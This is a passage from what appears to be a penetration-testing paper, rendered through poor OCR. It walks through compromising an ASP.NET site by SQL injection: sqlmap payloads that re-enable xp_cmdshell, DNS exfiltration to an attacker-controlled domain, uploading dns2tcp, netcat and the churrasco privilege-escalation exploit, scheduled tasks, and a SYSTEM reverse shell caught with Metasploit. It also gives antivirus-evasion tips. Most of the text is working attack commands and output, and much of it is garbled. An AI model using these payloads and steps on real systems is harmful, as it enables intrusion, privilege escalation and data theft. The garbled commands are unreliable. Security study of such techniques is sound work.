[08:59:35] [PAYLOAD] :1', 1); IF(BINARY_CHECKSUM(1982)=BINARY_CHECKSUM(1982)) WAITFOR DELAY '0:0:5' —-
[08:59:43] [INFOJ confirming Microsoft SQL Server

[08:59:43] [PAYLOAD] ;1', 1); IF(HOST_NAME()=HOST_NAME()) WAITFOR DELAY '0:0:5' —

[08:59:48] [PAYLOAD] ;1', 1); IF(XACT_STATE()=XACT_STATE()) WAITFOR DELAY '0:0:5'

[08:59:53] [INFOJ adjusting time delay to 1 second due to good respense times

[08:59:53] [PAYLOAD] ;1', 1); IF(SYSDATETIME()=SYSDATETIME()) WAITFOR DELAY '0:0:1' --

[08:59:53] [PAYLOAD] ;1', 1); IFCCONCAT(NULL NULL)=CONCAT(NULL,NULL)) WAITFOR DELAY '0:0:1" --
[08:59:53] [INFOJ the back-end DBMS is Microsoft SQL Server

‘web server operating system: Windows Vista

web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.0

back-end DBMS: Microsoft SQL Server 2005

[08:59:53] [DEBUG] identifying Microsoft SQL Server error lod Vil i1 GUTent | i) use to store temporary files with commands’ output
[09:04:53] [INFO] refrieved: c:\Program Files\Microsoft SQL | USEFIS PAtOF NGt presSIMSSQLLOGIEERRORLOG

[09:04:53] [DEBUG] performed 607 queries in 299.80 se sysadmin role
[09:04:53] [DEBUG] going {o use c:/Program Files/Migg#€oft SOL Server/MSSQL10.SOLEXPRESS/MSSQL/Log as temporary files directory

[09:04:53] [INFO] testing if current user is DBA
[09:04:53] [PAYLOAD] ;1', 1); IF((SELECT (CASE WHEN (IS_SRVROLEMEMBER(' sysadmlrl }=1) THEN ‘1" ELSE '0' END))="1'} WAITFOR DELAY '0:0:1' -

[09:04:54] [INFOJ checking if xp_cmdshell extended procedure is available, please wait.

[09:04:54] [PAYLOAD] :1', 1):DECLARE @xvrs VARCHAR(8000):SET @):vrs—0)(70696567202016620322031 32372e302e302e31:EXEC master..xp_cmdshell @xvrs --

xp_cmdshell extended procedure does not seem to be available. Do you want sqimap to try to re-enable it? [Y/n] y

[09:05:23] [DEBUG] configuring xp_cmdshell using sp_configure stored procedure

[09:05:23] [PAYLOAD] ;1', 1;;EXEC master..sp_configure 'SHOW advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'xp_cmdshell,1; RECONFIGURE WITH OVERRIDE; EXEC
sp_configure 'SHOW advanced options',0; RECONFIGURE WITH OVERRIDE --

[08:05:23] [PAYLOAD] ;1', 1;DECLARE @oaps YARCHAR(B000);SET @oaps=0xT! 2d6e2032203132372e302e302031;EXEC master..xp_cmdshell @oaps —

[09:05:25] INFO) xp_cmdshell re-enabled successfully

Enable the

[09:05:25] [DEBUG] creating a support table to write commands standard output to
[09:05:25) [PAYLOAD] ;1', 1;DROP TABLE sqimapoutput - xp_cmdshell stored

[09:05:25] [PAYLOAD] ;1', 1):CREATE TABLE sqimapoutput(id INT PRIMARY KEY IDENTITY, data NVARCHAR(4000)) procedure

09:05:25] [INFO] testing if xp_cmdshell extended procedure is usable

[09:05:25] [PAYLOAD ;1', 1;DECLARE @euab VARCHAR(BOO0),SET @euab=0x6563686{2031;INSERT INTO sqimapoutput(data) EXEC master..xp_cmdshell @euab ~

[09:05:25] [PAYLOAD] ;', 1); IF(UNICODE(SUBSTRING{(SELECT ISNULL(CAST(COUNT(id) AS NVARCHAR(4000}),CHAR(32)) FROM sqlmapeutput),1,1)}>51) WAITFOR DELAY '0:0:1'

[09:05:36] [PAYLOAD] ;1', 1); IF(UNICODE(SUBSTRING{(SELECT TOP 1 ISNULL(CAST(data AS NVARCHAR(4000)), CHAR{32)) FROM sglmapoutput WHERE id NOT IN (SELECT TOP 1 id FROM salmapoutput

ORDER BY id) ORDER BY id},2,1))>1) WAITFOR DELAY '0:0:1' — E—
[09:05:36] [PAYLOAD] ;1', 1);DELETE FROM sqimapoutput — Use an auxilairy
1able to retrieve the.
[09:05:36] [INFO] xp_cmdshell exler‘ﬁi procedure is usable 0S8 commands
output

[09:05:36] [INFO] going to use xp_ct d procedure for operating system command execution
[09:05:36] [INFO] calling Wind SHELL Il | type 'x’ or 'q" and press ENTER
os-shell>

Figure 18 - SQLmap behind the scenes and steps taken to get an OS shell

SQLmap is able to retrieve data over out of band channels such as DNS. This
technique allows the retrieval of the SQL results using a DNS recursive resolution
process which is much faster than the time-based or boolean-based inference methods
(Stampar, 2009). To accomplish this, the attacker needs to control a DNS domain name.
Of course the database server also needs to have a dns server configured and be able to

perform queries.

The DNS requests made by the database will be triggered by SQL queries. Due to
the way DNS works, if the database does not know the answer, it will forward the request
to the upstream DNS server. In our environment ,the system does not have access trough

the firewall for any outbound communications. Nevertheless, it can forward the DNS
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requests to the DNS server which in turn forwards them to the authoritative server which
is under the attacker’s control. Sensepost presented at BlackHat USA 2007 a SQL
injection tool called Squezza that was able to extract data trough DNS and others
channels (Research, 2007). This technique was added to SQLmap in 2012 (Stampar,
2009). To carry out this technique, SQLmap will be executed with a command line option
that specifies the domain name controlled by the attacker. Figure 20 shows the command
executed, the SQL queries performed, and the output of the commands. It also shows
how the DNS queries are constructed.

# Jsaimap.py ~u ‘Wip:/www.vile. comDorknozzielHelpDesk aspx ~data= cal payload” —prefix="T", 1);" ~suffix="~" ~dns-domain=acme.com ~0s-shell ~fresh-queries -v3

[16:21:41] [INFO] xp_cmdshell exter ure is usable

[16:21:41] [INFO] going to u ure for operating system command execution
[16:21:41] [INFQ] calling Windows o 'g" and press ENTER

os-shell> whoami

o you want 10 refrieve the commar infa] y

[16:21:54] [PAYLOAD] :1', 1;DECLARE @oxeq Vi @onxg=0x77686% INTO er. xp_cmdshell @oxe

[16:21:54] [PAYLmD] 1 1) DECLARE @host am:halw'MJ seuzcr@nm uj"+(SELECT master.dbo.fn_varbiniohex sIﬂCAST(SUBSTRINGE(ISNULL[CASchouNT[u:ASNVARCMR(WDO)] 113 AS
FROI XEC( master. xp_diriree "l +@host+ ightle™) —

[16:21:54] [INFO) rorieved: 2

[16:21:54] [DEBUG] performed 1 queries in 0.11 seconds

e
[162! 54] PAYLOAD). . 11 DECLARE @host varchar(1024); SELECT @hoste'aJp (SELECT TOP 1 mastar.dbain_yarbintohexsiCASTISUBSTRING(ISNULL(CAST data AS NVARCHAR(000):
1,13) AS WHERE id NOT IN {SELECT TOP 0 id FROM sqimapoutput ORDER BY id] ORDER BY id)+"wSx.acme.com'; EXEC('master..xp_dirtree "I\{+@host+|

[16:21:54] [PAYLOAD] :1', 1); DECLARE @host varchar{1024); SELECT @host=1sx "+(SELECT TOP 1 master.dba.fn_varbintohexstr(CAST(SUI (ISNULLCASTidata AS NVARCHARI4000)). ')).14,13) AS
VARBINARY(8000))) FROM salmapoutput WHERE id NOT IN (SELECT TOP sqimapoulput ORDER BY id) ORDER BY id)+"xi o.com, EXEC(master. xp_dirires il +@hosteWYirT™) ~
[16:21:54] [PAYLOAD] ; 1", 1); DECLARE (@host varchar{1024); SELECT @hos! SELECT TOP 1 master.dbo.fn_varbiniohexsts (SUBSTRING({ISNULL{CAST(data AS NVARCHAR{4000))" "}),27,13) AS
VARBINARY(8000])) FROM m\mamulnm WHERE id NOT IN (SELECT TOP sqimapoutput ORDER BY ki) ORDER P ulz acme.com’; EXEC(master. xp_dirtree "Wl +@host+1LUXGE™) ~

e : it authorit )

in sem
[16:21:55] [PAYLOAD] : ', 1); DECLARE @hos! varchar(1024); SELECT @host="niNH. +{SELECT TOP 1 maser AST(SUBST
VARBINARY(8000))) FROM sgimapoutpul WHERE id NOT IN (SELECT TOP 1 id FROM sgimapoutput d) ORDER BY id)+" Nqo acme. com’; EXEC

L(CAST(data AS JINNREITH]
(master. xp_ditree "W +@host+NJBrS™} —

nt i service'

os-shell> hostname
o you want 1 retrieve the command standard output? [Yin/al y
command standard output: 'W2K8-SQL"

#lecho -n

650074
0770060072006 30065007200760065000x63006500' | xxd - -ps
nt authority\network service

#1cpdumg -l 6th 80 port 53 -w GNs.SqIMap.peap

# tshark -r dns.sqlmap. pcap
1 0.000000 10.0.0.100-> 192.168.1.7 DNS Standard query A YiL 0x3500:
2 0000219 192.168.1.7-> 10.0.0.100 DNS Standard query response A 1
3 0270724 10.0.0.100 > 192.168.1.7 DNS Standard query A KIJ.0x3200.
4 0270993 192.186.1.7-> 10.0.0,100 DNS Standard query response A 127.0.0.1
5 0338884 10.0.0.100-> 192.168.1.7 DNS Standard query A NSs.0x3100 pSLacme.com
6 0330036 182.168.1.7-> 10.0.0.100 DNS Standard query response A 127.0.0.1
7 0455266 10.0.0.100 > 192.168.1.7 DNS Standard query A wgy.0x2000.HKM.acma.com
8 0455619 192.188.1.7-> 10,0.0,100 DNS Standard query response A 127.0.0.1

9 13517378 10.0.0.100 -> 182 168.1.7 DNS Standard quary A uij. 0x3200.Lig acme com
10 13.518050 192.168.1.7 -> 10.0.0.100 DNS Standard query response A 127.0.0.1
11 13627864 10.0.0.100 -> 192.168.1.7 DNS Standard query me.com
12 13628014 192.168.1.7 -> 10.0.0.100 DNS Standard query response A 127.0.0.1
13 13.728155 10.0.0.100 -> 192.168.1.7 DNS Standard query A isx. 77006 6006900 xLk.acme.com
14 13.728537 192158'7-:10{]0100 DNS Standard query response A 127.0.0.1
15 13.826831 10.0.0.100 -> 192.168.1.7 DNS Slﬂndam uwryAqmlﬂ:BWOﬁSWuLzawvwl“
27.0.0.1

16 13.827154 192.168.1.7 -> 10.0.0.100 DNS Standard query response

17 13.910340 10.0.0.100 -> 168.1.7 DNS Stan ﬂarﬂ query A NHOmeNnoacmemm
18 13.910574 192.168.1.7 -> 10.0.0.100 DNS Standard query responsa A 127.0.0.1

19 20847422 10.0.0.100 > 192.168.1.7 DNS Standard query A tHO.0x3200.vvV.acme.com
20 20847730 192.168.1.7 -> 10.0.0.100 DNS Standard query response A 127.0.0.1
21 20.947056 10.0.0.100 -> 192.168.1.7 DNS Standard query A NgW.0x57

22 20947240 192.168.1.7 - 10.0.0.100 DNS Standard query response A 127.0.0.1

#echo -n ‘'0x570032004b0038002000530051 00400 | x0cd -r -ps
W2KB-SQL

Figure 19 - SQLmap behind the scenes using DNS requests to exfiltrate data

After executing this technique, a low privilege shell is gained. The next step will
be to strengthen the position within the target by uploading additional tools to the system
to escalade privileges. In addition, since it is known the system can communicate via
DNS, a different set of tools will be used to take advantage of this and further
compromise the system. This combined arms approach will result in use getting a

“system” privilege shell back via DNS.

To escalate privileges a tool called churrasco developed by Cesar Cerrudo is used.

This tool takes advantage of an exploit that uses a technique that he named as token
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kidnapping which elevates privileges to a System account by using techniques that
impersonate tokens to manipulate processes and thread access lists (Cerrudo, 2008). The
source code of the tool that affects Windows 2008 was downloaded from Cesar
Cerrudo’s website and compiled using Visual Studio C++ 2008 Express edition
(www.argeniss.com/research/Churrasco2.zip). It is important to note that this
vulnerability has been patched by Microsoft in Windows 2012 (MS09-12). The exploit
when executed successfully will span a shell to an IP and port chosen by the user. In
spite of this, because the firewall does not allow the target system to communicate with
the outside world, the shell will communicate back to the attacker through DNS. We will
use dns2tcp. This tool allows relaying TCP connections trough DNS. This way the

spanned shell from the exploit will be redirected and forwarded using DNS (Dembour).

These tools will be uploaded to the system, written to the file system in a
directory where the low privilege account would have write access and then executed. To
accomplish this the reader starts by uploading the dns2tcp client tool ( dns2tcpc.exe)
using SQLninja, a powerful SQL injection tool created by Icesurfer (SQLninja). The
same way SQLmap needed configuration settings, SQLninja will need the target details,
the injection point and a well formed HTTP request. This is done via SQLninja.conf and
the HTTP POST request used is shown in Figure 21.

—httprequest_stari—
POST hitp:lwww.ville comiDorknozzle/HelpDesk.aspx HTTP/1.0
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip.deflate
Host: www.ville.com
Accept: text/htm, =0.9,"*q=0.8
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7. 13) Gecko/2005041e Firefox/1.0.8
Accept-Charset: 1ISO-8859-15,utf-8;q=0.7,%,a=0.7
‘Connection: close
Cookie: ASP.NET_Sessionld=xyg2ryleu3xoltp4gixujgmt
Pragma: no-cache
Cache-Control: no-cache, m)—slcre

Content-Type:

_ VIEWSTATE=%2FwEPDwUKLTk1Njk1NDU3OASKFg JmD2QWAgIDDZQWBAIFDzwWrAADCAAB! 4LXyFEYXRhQx ZAwUI 5]AsMDoXLDA5M\wWO|MsMDo
OLDABNSwwO}YUKWACFhAeBFRIEHQFBEhV bWUeEVZhbHV\EQR\bZ1\Hg|OYXZpDFOZVVybAUV IWRGVMYXVsdC! QOEb3Jrbm9se
mxIIERVEWUEBOVUYWJSZWRNHGPTZWxIY3RhYmxIZx4IRGI FOYVBthgFGCSkb&ermSGemx\ L2R\ZmF 1bHQuYXI NweBQJRGFOVUJVdWSkZZOUKWACFhIngU JSGVSCCBEZXNr
HwhnHghTZWxI'Y 3RIZGfAQUJSGVscCBEZXNIt OhlbHBEZXNrim!|
UvaGVscGRIc2suYXNweGQUKwACFhAFAQUSRW 1wbGI5ZWUGRGIyZWNOL3JSHWIFEkVie W Dl ZU"‘
5hc3B4HWQFHURvemtub3pBbGUGRWA wa95ZWUgRGIyZWNObSJSHw\/nHWZnH WCFI \Q kaJm mS6emxl| LZ\/chxvsW\/\ZGIyZWNObSJSLmFZCHg’CGdkFCsAAhVQHwEFDEFkZ
HJIc3MgQmIvax8CBQxBZGRyZXNZIE Jvb2sfAwUcL! HJIc3MgQmOvaxB8FZx8GZxBHBRwWvZGya25

RyZXNzY WhnZBQx ME: BQIEZXE'ICH RIZW50cx8 DBRWVRGya25venpsZSIEZXBhenRIZWS50cy5hc3B4HWQFFKR

JgRGVWYXJObWV udl Jel UvZGVwYXJObWVudHMUYXNweB8IZ2QUKwACFhAFAQULQWRIaW4gVGIvbHMIAgULQWRtaW4gV
\Jb JvﬂWRhW’-l /QF COFkbWIulFT HwZnHwcFGy9kb3, Y XNweB8IZ2QUKwACFhAFA
QUOOWRladeTmV3c2xIdHRIchBCBRE BZG1 pb\BOZXdﬂ)GVOd GVyHWMFICSEb3Jrbm36emxILOFkbWIuTmV3c2xIdHRIci5he3B4HWQF GORvemtub3psbGUg QWRiaW4gTmV3c
NSZXROZXIuYXNweB8|1Z2QWDmYPZBYCZg8VAQRIb21IZAIBD2QWAMYPFQEJS GVsCCBEZXNIZAICD2QWAmMY
PFQESRW1 waQSZWUgRG\yZWNObE)JSZAIDDZQWAm‘(PFQEMQWchszcyBC b29rZAl \EDZQWAMVPFQELRGVWYXJUDW\/ud HNkAgUPZBYCZgBVAQIBZG 1pbiB szgscz

QCBg9kFgJmDxUBEEFkbWIUIESId3NSZXROZXJkAgcPZBYEAgUI (ORGFOYVZhb QFCI J58UQeDURNAGF U
nZBAVBAhIYXJkd2FyZQhTb2Z0d2F yZQtXb3Jrc3RI i Brbm33FQOBMQEYATMBNBQrAwWRNZ 2dn; ZGGCEWSCD (YGHwWoFCVN1 Vm pIYSRJRBBLBQde
WJGZWNOHWBNZBAVBXRDb2 1wdXRIciB 3b24ndCBzdGFydBYNb25pdGyIHdvbid0IHR 1emdgh24PQ2hhaXigaXMgYnJva2VuEUIMZmIjZSB3b24ndCB3b3JrEldpbmRyd 3Mgd29u

J3Qgd29yaxBDb21wdXRIciBjcmFzaGVzBU90aGVyFQeBMQEYATMENAE 1ATYBNxQrAwdnZ2dnZ2dnZGQYAQUUY 3RsMD/ ZU1lbnUPD2QF CU|
szgasKLmGGvWSJ 1ztDnB|J‘(eKbmuUU YWNLGSLpW%2FInA=: &m\on %24ContentPlaceHolder1%24stationTextBox=18¢t100%24ContentPlaceHolder1%: 24ca(egoryusl 1&cti00
r1%24subjectList= 1&1:“00“/24(1 o der1% iptionTextBox=1',
1) SOL?INJECT scﬂuc %24 Ce i ittReq
~-httprequest_end--

Figure 20 - HTTP request settings and SQL2INJECT point in SQLninja.conf
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The methods used by either SQLmap or SQLninja to upload files and write them

to the file system using SQL injection are based on the xp_cmdshell procedure. This

procedure can facilitate the creation of files by using the “>> redirect operator (Clarke,

2012). Behind the scenes SQLninja can use two techniques to upload files to target

systems. One technique is to base64 encode the binary and then upload it. The other

technique uses an old trick to convert the binary into a DEBUG script. The default

technique is to use the base64 method and it can be defined in the sglninha.conf by

stating "upload_method = vbscript". Figure 22 illustrates this technique.

# Jsqlninja -mu -d 1
Sqlninja rel. 0.2.ff-svn <http://sqlninja.sf.net>
(C) 2006-2013 icesurfer & nico
[+] Parsing sqininja.conf...
[+] Loading extraction module: lib/getdata_time.pl
[+] Port 80. Assuming cleartext
[+] Target is: www.ville.com:80
Specify the binary or script file to upload

exec master..xp_cmdsjfell 'cmd /C if not exist % TEMP%\b64decoder.vbs (ping -n 5 127.0.0.1); 2: appsidnstun.exe
exec master..xp_cmdiieell ‘omd /C del %TEMP%\b64decader.vbs'; G e

[+] Uploading bBadedBder.vbs to %TEMP% = a"p e

exec master.xp_cmdshell ‘smd /C echo Set objF SO = CreateObject("Scripting. Fi Object’) >> %TEMP% vbs'; e
exec master..xp_cmdshell 'cmd /C echo Set objFileln = objFSO.GetFile(Wscript. >> %TEMP vbs'; Bi appslvdmex it éH
xp_cmdshell 'omd /C echo Set objStreamin = objFileln.OpenAsT 1,0) >> %TEMPY b 2 agg s eodupmp-‘vzns e
p_cmdshell ‘cmd /C echo Set objXML = CreateObject("MSXmI2.DOMDocument") >> %TEMP%\bthdewdervbs B: a slsasvchust i N
p_cmdshell 'emd /C echo Set objDocElem = objXML.createElement('Base64Data") > %TEMP%\b64decoder.vbs'; b app e icne. oxe
p_cmdshell'omd /C echo objDocElem.DataType = "bin base64" >> %TEMP%\b6ddecoder.vbs'; R P
p_cmdshell ‘cmd /C echo objDocElem.text = objStreamIn.ReadAll()} >> % TEMP%\b64decoder.vbs';

exec master..xp_cmdshell 'cmd /C echo Set objStrean CreateObject("ADODB.Stream") >> %TEMP%\b64decoder.vbs';
exec master..xp_cmdshell ‘cmd /C echo .Type = 1 >> %TEMP vbs';

exec master.xp_cmdshell 'cmd /C echo Open() >> %TEMP% bs',

exec master..xp_cmdshell ‘smd /C echo objStream. Write objDocElem.NodeTypedValue > % TEMP%\bB4decoder.vbs';
exec master..xp_cmdshell 'cmd /C echo objStream.SaveToFile Wscript. Arguments(1),2 >> %TEMP%\bG4decoder.vbs';

[+] Checking whether bB4decoder.vbs has been successfully uploaded....

exec master..xp_cmdshell ‘cmd /C if not exist % TEMP%\b64decoder.vbs (ping -n 5 127.0.0.1);

[+] Success!

exec masler..xp_cmdsEll ‘cmd /C del %TEMP%\dns2tcpc.™; sl} ?:;:'ssl:nc exe

[+] Uploading /tmpi base64 baseb4 file.

exec master..xp_cmdshell 'cmd tC echc TVqC:, M, E L = >> %TEMP 2tcpe.base64 && echo
TIG1v >> %TEMP%\dns2tcpc.baseB4 && echo
ZGUuDQUKJAAAAAAAAABQRQAATAEHAD2|MkwAehQALQcAAOAAEwELAQI4AOAAAAAKAQAAHAAAMEEA >> %TEMP%\dns2icpc.baseb4 &8 echo
AAAQ) g DAF, M. AA >> %TEMPY%\dns2tepe. base64 && echo
AB AAAE; EAA BAA AA BAAQDWCgAA AAA AA AAAA >> %BTEMP%\dns2tcpc.basefd && echo
>> HTEMP base64 && echo
AA AA AA AA AA AA, AC50ZXh0/ QNJAAAAQAAAAIAAAAAQA >> %TEMPY%\dns2tcpe.basefd 8& echo
AAAAAAAAAAAAAAAAAGAAUGAUZGFOY! Ka, I Dk/ B, DA >> %TEMP%\dns2tcpc.base64 && echo
LanVXRhAABgGQMAMBAAACAMASQAAAAMAMAAAAMAAAQABQQCSlcSMAAAAABBuAAAAgAQAA >> %TEMP%\dns2tcpc base64 && echo
AN CAQA, AA >> %TEMPY base6d';

(®]

exec master..xp_cmdshell 'cmd /C echo dGIjYWxTZWN0aW3uQDQAX18pbXBfX2Z23cmI0ZQA= >> % TEMP%\dns2tcpc.base6d’;
24247/24247 lines written

donel

exec master..xp_cmdshell ‘emd /C find /v /c “zzzz" %TEMP%\dns2icpc.base64 > %TEMP%\lines txt & find * 24247 %TEMP%llines.txt > nul & if not errorlevel = 1 ping -n 5 127.0.0.1 &

| %TEMPY%llines.txt;

[+] Converting base64 file to executable... might take a while

exec master..xp_cmdshell ‘cmd /G cscript %TEMPY%\b64decoder.vbs %TEMP%\dns2tcpc.base6d %TEMPIWTEMPH,
exec master..xp_cmdshell 'cmd /C ren %TEMP%WTEMP# dns2icpe.exe’;

exec master..xp_cmdshell ‘emd /C del %TEMP%\dns2tcpc.base64';

[+] Checking that dns2tcpe.exe has the expected filesize...

exec master..xp_cmdshell 'cmd /C dir % TEMP%\dns2tcpe.exe | find "dns2icpc.exe” > %TEMP%\xist.txt & for /F "tokens=3" %i in (% TEMP%\xtst.txt) do (if "%i" equ "1,382,051" ping -n 5 127.0.0.1) & for /F
“tokens=4" %i in (%TEMP%\xtst.txt) do (if “%i" equ "1,382,051" ping -n 5 127.0.0.1) & del %TEMPY%xtst.txt.";

Figure 21 - SQLninja behind the scenes when uploading a file to the target using Base64

This technique works well. The alternative technique creates a DEBUG script

which can be passed to the debug.exe script to be converted to a binary. The following

picture shows the steps taken by SQLninja to accomplish this.
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exec master..xp_cmdshell ‘cmd /C del % TEMP%\nc.*;

[+] Uploading /tmp/nc.scr debug script............

exec master..xp_cmdshell ‘cmd /C echo n %TEMP%\#temp# >> %TEMP%\nc.scr && echo r cx >> %TEMP%\nc.scr && echo 6e00 >> %TEMP%!\nc.scr && echo f 0100 ffff 00 >>
%TEMP%\nc.scr && echo e 100 4d 5a 90 >> %TEMP%\nc.scr && echo e 104 03 >> %TEMP%\nc.scr && echo e 108 04 >> %TEMP%\nc.scr && echo e 10c ff ff >> % TEMP%\nc.scr &&
echo e 110 b8 >> %TEMP%\nc.scr && echo e 118 40 >> % TEMP%\nc.scr';

exec master..xp_cmdshell 'omd /C echo e 6da0 45 78 69 74 50 72 6 63 65 73 73 >> %TEMP%\nc.scr’
)

exec master..xp_cmdshell ‘cmd /C echo w >> %TEMP%\nc.scr';
exec master..xp_cmdshell ‘cmd /C echo g >> %TEMP%\nc.scr’;

1540/1540 lines written
done!

exec master..xp_cmdshell ‘cmd /C find /v /¢ "zzzZ" %TEMP%\nc.scr > %TEMP%!lines.txt & find " 1540" %TEMP%\lines.txt > nul & if not errorlevel = 1 ping -n 5 127.0.0.1 & del % TEMP%\
lines.txt';

[+] Converting debug script to executable... might take a while
exec master..xp_cmdshell ‘cmd /C debug < %TEMP%\nc.scr';
exec master..xp_cmdshell ‘cmd /C ren % TEMP%#TEMP# nc.exe';
exec master..xp_cmdshell ‘cmd /C del % TEMP%\nc.scr’;

[+] Checking that nc.exe has the expected filesize...
exec master..xp_cmdshell ‘cmd /G dir %TEMP%\nc.exe | find "nc.exe” > %TEMP%\xtst.txt & for /F "tokens=3" %i in (%TEMP%\xtst.txt) do (if "%i" equ "28,160" ping -n 5 127.0.0.1) &for /
F "tokens=4" %i in (% TEMP%\xtst.txt) do (if “%i" equ “28,160" ping -n 5 127.0.0.1) & del %TEMP%\xtst.txt.';

[+] Filesize corresponds... :)

Figure 22 - SQLninja behind the scenes when uploading a file to the target using DEBUG

Compared to using a Base64 encoded binary, this technique has the disadvantage
that debug.exe can only build executables smaller than 64 Kb. However, you can split
bigger files into 64 KB portions and after uploading them you can concatenate them
together using copy /b portion _1 + portion_2 original-file.exe (Clarke,2012). This
technique is slower but as the advantage that debug.exe is available in any windows
operating system and therefore the attacker won’t need any additional scripts or tools to
create a binary on the target system. More details about debug.exe is available on

Kipivirne.com.

In case the reader would like to try the DEBUG technigue he can convert
windows binaries to a debug script format in Backtrack using a python script called
dbgtool.py. Is available in the SQLmap directory under /extra/dbgtool/. Then the file
containing the debug script can be moved to a windows machine and converted back to a

binary using the “debug < debugfile ” command.

The reader can follow the same process to upload any additional tools. The target
system does not use any antivirus tools, but this technique can be performed even with
antivirus. The traditional way that antivirus programs identify the presence of a virus is
by using signatures (Labbe, Rowe & Fulp, 2006). This can be subverted by using an
exploit that the antivirus tool does not have a signature for. One simple way to do this is
to use a hex editor to remove the machine code that triggers the signature without having
an impact on the execution of the exploit. Another way might be by using encoders or
packers or even target the AV software itself (Ormandy, 2012)(Koret, 2014). This is left
as an exercise for the reader to further research.
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The next tool to be uploaded is churrasco.exe. We need to configure SQLninja to
be aware of this tool in order to allow it to be uploaded to the target. This is done by
adding lines of code to sqglninja.py to identify the file, and adding the file to the
sqlninja/apps folder.

Now that the dns2tcpc.exe and churrasco.exe tools are uploaded the next step is to
execute them. Because they need to be executed sequentially, the task scheduler in
windows will be used. This can be invoked from the command line using the schtasks.exe
command. The schedule of the tools execution will be done using the interactive

command line that can be invoked by the SQLmap os-shell feature.

First SQLmap is launched. Then it checks if the files are saved in the % TEMP%
folder. Finally, two tasks are scheduled to run daily at pre defined times with current
privileges. The first task executed is "dns2tcpc”. The command line instructs
dns2tcpc.exe to encapsulate the data using DNS requests to the acme.com domain with
using a pre-shared key. In addition, it instructs the server side of the tool to use the ssh
resource and to listen for incoming connections on port 137 TCP (Dembour). The second
task executed is "churrasco.exe". The command line instructs churrasco to execute a
reverse shell to localhost on port 137 which is where dns2tcpc.exe is listening. These

steps are illustrated in Figure 24.

# ./sqlmap.py -u 'http:/www.ville.com/Dorknozzle/HelpDesk.aspx' —data="cat payload’ --prefix="1", 1);" —suffix="--" --dns-domain=acme.com --os-shell
--fresh-queries

os-shell> dir % TEMP%
do you want to retrieve the command standard output? [Y/n/a] y

Velume in drive C has no label.
Volume Serial Number is 4426-F394

Directory of C:\Windows\SERVIC~2INETWOR~1\AppDatalLocal\Temp

02/08/2014 10:09 AM <DIR>
02/08/2014 10:09 AM <DIR> ®
02/08/2014 09:30 AM 525 b64decoder.vbs
02/08/2014 10:09 AM 494,592 churrasco.exe
02/08/2014 09:39 AM 1,382,051 dns2icpe.exe
3File(s) 1,877,168 bytes
2 Dir{s) 51,134,980,096 bytes free

os-shell> schiasks /creale /in "dns2icpe” /tr "C:\Windows\SERVIC~2\NETWOR~1\AppDatalLocal\Templdns2tcpe.exe -z acme.com -k secret -¢ -r ssh-|
137" Isc daily /st 10:20:00 /RU "NT AUTHORITY\NETWORKSERVICE"

do you want to retrieve the command standard output? [Y/n/a] y

command standard output: 'SUCCESS: The scheduled task "dns2tcpc” has successfully been created.'

os-shell> schiasks /create /tn "Churrasco” /tr "C:\Windows\SERVIC~2INETWOR~1'\AppData\Local\Temp'churrasco.exe 127.0.0.1 137" /sc daily /st
10:21:00 /RU "NT AUTHORITY\ANETWORKSERVICE"

do you want to retrieve the command standard output? [Y/n/a] Y

[13:16:53] [INFO] adjusting time delay to 1 second due to good response times

command standard output: "SUCCESS: The scheduled task "Churrasco” has successfully been created.

Figure 23 - SQLmap os-shell in order to schedule the execution of Evil tools
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After successful scheduling the tasks, the reader needs to exit SQLmap to release
UDP port 53 (remember SQLmap is using this port while launching the commands
trough encapsulated DNS queries). Then it executes the dns2tcp server daemon. This tool
is available on the backtrack distribution under /pentest/backdoors/dns2tcp. Before
executing the daemon the reader needs to create a configuration file in the user’s home
folder, configuring the IP address and the port to listen on, the domain name send
questions to, the pre-shared key, and where to redirect the connections received. The
directory specified in the chroot settings of the configuration file also needs to be created
beforehand.

# cat ~/.dns2tcpdrc
# config file

listen = 127.0.0.1

port =53

user=nobody

#ehroot = fvar/empty/dns2tcpl

chroot = ftmp/dns2icp/

pid_file = fvarfrun/dns2tep.pid

domain = acme.com

key = secret

resources = ssh:127.0.0.1:22 , smtp:127.0.0.1:25,
pop3:10.0.0.1:110

Figure 24 - Dns2tcp configuration file

After defining the configuration file, dns2tcpd is instructed to listen on IP address
192.168.1.7 (-i), execute on the foreground (-F) and show debug level information so the
queries and answers can be seen (-d 3). Then the reader will need to wait for the

scheduled tasks to kick in.

# Jdns2icpd -i 192.168.1.7-F-d3

13:21:57 : Debug options.c:97 Add resource ssh:127.0.0.1 port 22

13:21:57 : Debug options.c:97 Add resource smtp:127.0.0.1 port 25

13:21:57 : Debug options.c:97 Add resource pop3:10.0.0.1 port 110

13:21:57 : Debug socket.c:55 Listening on 192.168.1.7:53 for domain acme.com
Starting Server v0.5.2...

13:21:57 : Debug main.c:132 Chroot to /tmpl/dns2tcp/

18:21:57 : Debug main.c:142 Change to user nobody

Figure 25 - Dns2tcp server invoked

While waiting for the scheduled tasks to start, another shell is needed. This shell
will listen for an incoming connection on localhost port 22 which is going to be
forwarded by our dns2tcp daemon. To do this the Metasploit mutil-handler is used. This

will handle the reverse connection but the reader could simple use netcat (nc -1 -p 22).
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At this stage the attacker has two shells open. One to answer the DNS queries
addressed to the domain acme.com. These will contain encapsulated data which are shell
code that is going to be forwarded to port 22. On the second shell there is Metasploit
multi-handler waiting for that shell code. When the scheduled tasks triggers a TCP
reverse shell with system privileges encapsulated trough DNS data will be opened. Figure

26 illustrates how these techniques work together.

C

s PR # Jdns2topd -i 192.168.1.7 -F -d 3

(O Teasea (o 13:21:57 : Debug options.c:97 Add resource ssh:127.0.0.1 port 22
DA P — :57 : Debug options.c:87 Add resource smtp:127.0.0.1 port 25

: Debug options.c:97 Add resource pop3:10.0.0.1 port 110
bug socket.c:55 Listening on 192.168.1.7:53 for domain acme.com

# msfconsole 13:21:57 : DebBgmain.c:132 Chroot to ftmp/dns2tcp/
msf > use exploit/multiihandler 18:21:57 : Debug n.c:142 Change to user nobody
msf ) > set payload  tep
msf exploit(handler) > set LHOST 127.0.0.1 B
msf exploit(handler) > set LPORT 22 Debug requests.c:167 ive query : AAAAAMBEQA dns_id = 0x31dc for domain
msf exploit(handler) > exploit =auth.acme.com
Creating session id: Oxe5ef address = 10.0.0.100 (compression wanted)

[*] Started reverse handler on 127.0.0.1:22 Debug m.c:204 r_get_reply_length_encode return 271
